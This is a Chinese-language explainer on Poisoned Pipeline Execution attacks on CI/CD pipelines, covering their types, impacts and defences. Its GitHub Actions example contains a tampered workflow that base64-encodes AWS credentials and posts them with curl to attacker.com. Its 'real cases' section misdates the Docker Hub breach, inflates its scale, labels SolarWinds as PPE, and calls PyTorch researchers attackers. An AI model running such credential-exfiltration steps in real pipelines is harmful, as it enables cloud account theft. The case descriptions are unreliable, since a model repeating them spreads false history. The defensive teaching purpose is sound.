Poisoned Pipeline Execution (PPE) 是一种严重的 CI/CD 管道安全漏洞,攻击者通过滥用源代码管理系统的访问权限,注入恶意命令并执行。这种攻击方式可能导致敏感数据泄露、系统被恶意代码污染等重大风险。本文将详细介绍 PPE 的攻击方式及防护措施。
基本概念
PPE 是一种攻击向量,攻击者通过滥用源代码管理 (SCM) 系统的访问权限,在 CI 管道中执行恶意命令。攻击者无需直接访问构建环境,只需获得 SCM 仓库的访问权限,就可以通过修改配置文件注入恶意代码。
PPE 的三种类型
1. 直接 PPE (D-PPE)
- 攻击者直接修改 CI 配置文件。
- 通过推送到未受保护的分支或提交 PR 实现。
- 一旦触发构建管道,恶意命令就会在构建节点上执行。
2. 间接 PPE (I-PPE)
- 当无法直接修改 CI 配置文件时使用。
- 攻击者通过修改被配置文件引用的其他文件(如 Shell 脚本)来注入恶意代码。
- 当管道执行这些被污染的文件时,恶意代码得以执行。
3. 公共 PPE (3PE)
- 针对开源项目的攻击。
- 任何用户都可以通过 PR 贡献代码。
- 如果 CI 管道在未经审查的情况下运行匿名用户的代码,就容易受到攻击。
攻击影响
PPE 攻击可能导致:
- 访问 CI 作业可用的机密信息。
- 获取作业节点的外部资产访问权限。
- 部署看似合法但实际恶意的代码和制品。
- 访问作业节点网络中的其他主机和资产。
防护建议
- 实施最小权限访问控制。
- 强制代码审查流程。
- 保护构建配置文件。
- 持续监控管道活动。
直接 PPE (D-PPE) 示例
以下是一个 GitHub Actions 场景,展示直接 PPE (D-PPE) 的攻击过程:
原始场景
假设仓库中有一个正常的 GitHub Actions 工作流配置文件:
name: Build and Deploy
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Build
run: |
npm install
npm run build
- name: Deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET }}
run: |
aws s3 sync ./dist s3://my-bucket/
这个工作流用于构建并部署到 AWS S3。
攻击过程
攻击者获得仓库访问权限后,可以修改配置文件注入恶意命令:
name: Build and Deploy
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Build
run: |
# 恶意命令:窃取 AWS 凭证
echo $AWS_ACCESS_KEY | base64 | curl -d @- https://attacker.com/exfil
echo $AWS_SECRET_KEY | base64 | curl -d @- https://attacker.com/exfil
npm install
npm run build
- name: Deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET }}
run: |
aws s3 sync ./dist s3://my-bucket/
攻击结果
- GitHub Actions 自动触发构建流程。
- 恶意命令在构建环境中执行。
- AWS 凭证被窃取并发送到攻击者的服务器。
- 攻击者获得 AWS 访问权限,可以进一步攻击生产环境。
这个例子展示了 D-PPE 如何利用 CI/CD 系统的自动化特性来执行未经授权的操作。
有哪些真实典型的 PPE (D-PPE) 攻击案例
以下是几个重要的 PPE 攻击案例:
Docker Hub 事件 (2018年)
黑客通过 PPE 攻击成功入侵 Docker Hub 的软件开发管道:
- 攻击者在公开组件中注入恶意代码。
- 获取了数百万用户的敏感数据和凭证。
- 造成了重大的安全影响。
SolarWinds 攻击事件
这是一个最具代表性的供应链攻击案例:
- 攻击者通过 PPE 在 Orion 软件中植入恶意代码。
- 通过正常的软件更新渠道将恶意代码分发给客户。
- 影响了众多政府机构和财富 500 强公司。
- 使攻击者能够窃取受影响组织的敏感信息。
PyTorch 仓库攻击
这是一个典型的公共仓库 PPE 攻击案例:
- PyTorch 是全球领先的机器学习平台,用户包括 Google、Meta、Boeing 等大公司。
- 攻击者 John Stawinski 和 Adnan Khan 成功对其公共仓库发起供应链攻击。
- 由于其重要性,PyTorch 成为黑客和国家级攻击者的目标。
防护建议
为防止类似攻击:
- 实施最小权限访问控制。
- 验证代码来源。
- 加强构建配置的安全性。
- 持续监控管道活动异常。